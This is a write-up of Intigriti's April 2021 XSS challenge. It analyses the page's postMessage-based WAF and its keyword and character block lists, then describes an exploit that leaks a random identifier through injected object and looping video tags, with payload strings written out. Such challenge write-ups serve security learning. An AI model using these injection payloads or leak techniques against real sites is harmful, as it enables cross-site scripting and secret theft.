Intigriti’s 0421 XSS challenge - by @terjanq
Target
The challenge is hosted at https://challenge-0421.intigriti.io, and the tweet about it is https://twitter.com/intigriti/status/1384108534070083591.
As stated on the challenge’s page, we need to find a way to execute arbitrary javascript on the challenge page. However, there are a few rules and information:
Rules:
This challenge runs from April 19 until April 25th, 11:59 PM CET.
Out of all correct submissions, we will draw six winners on Monday, April 26th:
Three randomly drawn correct submissions
Three best write-ups
Every winner gets a €50 swag voucher for our swag shop
The winners will be announced on our Twitter profile.
For every 100 likes, we'll add a tip to announcement tweet.
The solution...
Should work on the latest version of Firefox or Chrome
Should alert() the following flag: flag{THIS_IS_THE_FLAG}.
Should leverage a cross site scripting vulnerability on this page.
Shouldn't be self-XSS or related to MiTM attacks
Should not use any user interaction
Should be reported at go.intigriti.com/submit-solution
(taken from https://challenge-0421.intigriti.io / 2021-04-25 14:00 CET)
Hints
Since there were so few solves during the duration of the challenge, @initigriti decided to offer a few more hints than usual:
-
First hint: find the objective! https://twitter.com/intigriti/status/1384144131526594569
-
Tipping time! Goal < object(ive) https://twitter.com/intigriti/status/1385292044470530050
-
Update: this seems to be the hardest XSS challenge we’ve ever hosted - no valid solutions so far! Here’s an extra tip: ++ is also an assignment https://twitter.com/intigriti/status/1384511577622253570
-
Another hint: you might need to unload a custom loop! https://twitter.com/intigriti/status/1385983715424284677
-
Let’s give another hint:
“Behind a Greater Oracle there stands one great Identity” (leak it) https://twitter.com/intigriti/status/1385139722239025152
-
Time for another hint! Where to smuggle data? https://twitter.com/intigriti/status/1384180996984041480
-
Time for another tip! One bite after another! https://twitter.com/intigriti/status/1384475910557024256
Inspecting and understanding the challenge
The challenge index.html
included not only the visual page you can see rendered in the browser, but also some other data worth mentioning:
<iframe id="wafIframe" src="./waf.html" sandbox="allow-scripts" style="display:none"></iframe>
<script>
const wafIframe = document.getElementById('wafIframe').contentWindow;
const identifier = getIdentifier();
function getIdentifier() {
const buf = new Uint32Array(2);
crypto.getRandomValues(buf);
return buf[0].toString(36) + buf[1].toString(36)
}
function htmlError(str, safe){
const div = document.getElementById("error-content");
const container = document.getElementById("error-container");
container.style.display = "block";
if(safe) div.innerHTML = str;
else div.innerText = str;
window.setTimeout(function(){
div.innerHTML = "";
container.style.display = "none";
}, 10000);
}
function addError(str){
wafIframe.postMessage({
identifier,
str
}, '*');
}
window.addEventListener('message', e => {
if(e.data.type === 'waf'){
if(identifier !== e.data.identifier) throw /nice try/
htmlError(e.data.str, e.data.safe)
}
});
window.onload = () => {
const error = (new URL(location)).searchParams.get('error');
if(error !== null) addError(error);
}
</script>
The page is including an hidden iframe to waf.html
, where waf
is an acronym for Web Application Firewall
.
Inspecting and understanding the waf.html
The waf.html
contains the following script:
<script>
onmessage = e => {
const identifier = e.data.identifier;
e.source.postMessage({
type:'waf',
identifier,
str: e.data.str,
safe: (new WAF()).isSafe(e.data.str)
},'*');
}
function WAF() {
const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
function decodeHTMLEntities(str) {
var ta = document.createElement('textarea');
ta.innerHTML = str;
return ta.value;
}
function onlyASCII(str){
return str.replace(/[^\x21-\x7e]/g,'');
}
function firstTag(str){
return str.search(/<[a-z]+/i)
}
function firstOnHandler(str){
return str.search(/on[a-z]{3,}/i)
}
function firstEqual(str){
return str.search(/=/);
}
function hasDangerousOperators(str){
return dangerous_operators.some(op=>str.includes(op));
}
function hasForbiddenWord(str){
return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
}
this.isSafe = function(str) {
let decoded = onlyASCII(decodeHTMLEntities(str));
const first_tag = firstTag(decoded);
if(first_tag === -1) return true;
decoded = decoded.slice(first_tag);
if(hasForbiddenWord(decoded)) return false;
const first_on_handler = firstOnHandler(decoded);
if(first_on_handler === -1) return true;
decoded = decoded.slice(first_on_handler)
const first_equal = firstEqual(decoded);
if(first_equal === -1) return true;
decoded = decoded.slice(first_equal+1);
if(hasDangerousOperators(decoded)) return false;
return true;
}
}
</script>
First of all, the waf
creates a new onmessage
handler. This handler is called by a call on the postMessage
method of a window having the waf.html
open. For example:
receiver.html
:
<script>
onmessage = e => {
console.log(`Hello from ${e.data.name}`);
}
</script>
sender.html
:
<script>
const receiverWindow = window.open('receiver.html');
receiverWindow.postMessage({name: 'sender'}, '*');
</script>
So, onmessage
(or window.addEventListener('message',...)
) and postMessage
is way of communicationg cross origins/frames/windows. To send messages back to the origin, one can use the reference to the Window object, which stays in e.sender
.
So, the waf
gets messages, does something and then sends a message back to the sender.
The message, the waf
sends back, is the following:
{
type:'waf',
identifier: e.data.identifier,
str: e.data.str,
safe: (new WAF()).isSafe(e.data.str)
}
So, basically it replies which the identifier
and the str
from the incoming message. The only part, that changes is the safe
property, which is calculated by the class WAF
.
The isSafe
method
- Call of
decodeHTMLEntities
, which just turns encoded HTML entities into their character representations. For example:>
will result in>
. - Call of
onlyASCII
, which replaces all occurences of characters, which are not between\x21-\x7e
into an empty string. For example:foo\nbar
will result infoobar
. - Call of
firstTag
, which looks for the first occurence of<
with any character followed and returns the respective index. For examplefirstTag('1<test')
will return1
.- If there is no tag found, the
isSafe
method will return withtrue
. - If there is a tag found, the following methods will only focus on the string after the first tag.
- If there is no tag found, the
- Call of
hasForbiddenWord
, which will look for any occurence of['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']
and will returnfalse
if there is one. - Call of
firstOnHandler
, does the same asfirstTag
, but withon
followed by 3 characters. - Call of
firstEqual
, does the same asfirstTag
, but with=
. - Call of
hasDangerousOperators
, which will look for any occurence of['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
and will returnfalse
if there is one.
To wrap things up, isSafe
will return
true
if there is no HTML tagfalse
if there is any occurence of['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']
true
if there is no event handler after the first HTML tag.true
if there is no equal sign, after the first event handler.false
if there is any occurence of['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
after the first equal sign inside of an event handler.
So things like <a>
tags will result in a safe string. Also strings with eventhandlers but without use of ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
will return safe: <img src=x onerror=height++>
Inspecting and understanding the index.html
The script at index.html
does the following:
- Creates an
identifier
in the global scope, which is the concatination of two 32bit random integers. - Creates an eventlistener on the
message
event. The handler will check if thetype
is equal towaf
and theidentifier
is the same as the generated one. If both match, thehtmlError
method is called.- The
htmlError
method will display the a string depending on thesafe
argument. If it istrue
, thestr
argument will be displayed as HTML. If it isfalse
it will be just displayed as text. - After 10 seconds, the error will be hidden.
- The
- Sends a message to
wafIframe
after the page finished loading. The message’sstr
property will be the value of theerror
URL parameter.
Wrap Up
After inspecting waf.html
and index.html
we have a basic understanding of what the exploit will consist of:
Send a message to index.html
containing a valid identifier
and the safe
property set to true
. This will inject the given str
property and will result in the ultimate goal: XSS!
To do so, we need to develop two answer the following questions:
- How can we have script permanently executed? Something like a loop?
- How can we leak the identifier? We surely need something like cross-origin communication between our scripts and the challenge.
The exploit
After the first few hints, I discovered that I can include <object>
tags, pointing to the attacker page (in the future in my case localhost
) and including script. So doing the url: https://challenge-0421.intigriti.io/?error=<object data=http://localhost:3001/xss.html>
will include the page at xss.html
and will even execute any script from that domain. So, basically we already have some kind of XSS, but it’s execution is not on the challenge page.
Having dynamic script execution
After having a look at all the possible HTML events at https://developer.mozilla.org/de/docs/Web/Events I saw the even timeupdate
and made a quick PoC:
<html>
<head></head>
<body>
<video controls src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate="console.log('timeupdate')">
</body>
</html>
This worked, but needed user interaction to start the video. Luckily the video
tag has an autoplay
attribute. After setting this, the page errored out, saying that autoplaying videos is only possible when there are muted. So, after setting the muted
attribute, the script was indeed executed multiple times. But only until the end of the video. I though about embedding a very long video, but that was not needed, since we can set the loop
attribute, which will autoplay the video again at the end. Having all this together, got a dynamic script looping:
<video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate="console.log('timeupdate')">
This got one call per second. To speed things up, we could increase the currentTime
property in the event handler:
<video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate="currentTime++;console.log('timeupdate')">
Leaking the identifier
Since we can not create a new identifier or overwrite it, we need some kind of cross origin/window communication between our script injected by the object
tag and the script, which will run in the video
tag. The only way of cross origin/window communication that would somehow be possible, is setting the window.name
property. The idea is the following:
- Have an
inital
page atlocalhost
, which opens a popup to a second page atlocalhost
. - The second page opens another popup to
challenge
.- The challenge can then read the name of the opener with
window.opener.name
. - The challenge page opens with an
object
page atlocalhost
. - The challenge compares
window.opener.name
withidentifier
, communicates towindow.opener
that the comparison was greater or less. - The
window.opener.name
changes to the next character and the loop begins again.
- The challenge can then read the name of the opener with
- The
inital
page can take input from theobject
page, since it has the same origin. - The
inital
page can also change the location of thewindow.opener
.- Change location to
localhost
to set thename
property. - Change location to
challenge
to let the challenge read thewindow.opener.name
.
- Change location to
Putting all this together again:
- The
init.html
initializes some utility methods and opens a popup toopener.html
. opener.html
opens thechallenge
page with the payload:<object id=poc data=http://localhost:3000/solver.html width=101 height=101></object> <video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate=window.opener.name<identifier?poc.height++:poc.width++>
This will load the solver.html
and additionally executes the following loop:
if(window.opener.name < identifier)
{
poc.height++;
}else{
poc.width++;
}
In JavaScript you can compare strings by using <
and >
based on their ascii character index. So an a
is lower than a b
.
Using this, we can control the size of the object
. The script in solver.html
of the object
can then monitor window.innerWidth
and window.innerHeight
for any changes. If the innerWidth
changed, the window.opener.name
is greater than the identifier
. If this occurs, the character we tested before, is the correct character in identifier at that position.
Having an array of characters ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","{"]
:
If "0" < identifier
returns false
, but "1" < identifier
returns true
, the first character of identifier
is "0"
. With focus to the loop mentioned above, the width will change, when the window.opener.name
contains a character after the actual character.
Putting everything together
I will not go into a deep detail description of init.html
, sovler.html
or opener.html
. This exploit unfortunately requires the script to be visible longer than the 10 seconds.
init.html
opens the opener.html
, which opens the challenge page with the above mentioned payload. This payload will compare the name of opener.html
with the identifier and will change the size accordingly. Additionally the payload will load an <object>
pointing to solver.html
, which monitors the size by using window.innerWidth
and window.innerHeight
.
The solver.html
has the same origin than init.html
, thus it can call functions with window.parent.opener.opener.FUNCTION
.
init.html
contains the following functions:
getIdentifier()
returns the currently tested character.setIdentifier()
sets theidentifier
using a reference to theopener.html
. To do so, the origin ofopener.html
needs to be the same asinit.html
. So basically it does the following:- Change location to same origin as
init.html
. - Use
waitUntilWriteable
until it can write the newwindow.name
. - Write the new
identifier
with the already guessed part towindow.name
. - Change the location back to the challenge’s origin.
- Change location to same origin as
waitUntilWriteable(windowRef)
andwaitForLocationChange(windowRef, location)
are convenience methods which simply return a resolvedPromise
as soon as the thewindowRef.name
is writeable or thewindowRef.location.href
contains the given location.
The bad part about this soltion is, that it needs to change the location of opener.html
twice for each new character guess and thus, this solution takes longer than the 10 seconds, in which the whole HTML is available.
Acknowledgments
Big thanks to @totz_sec for a great collaboration. Developing the solution was a great teamwork. #kaeferjaeger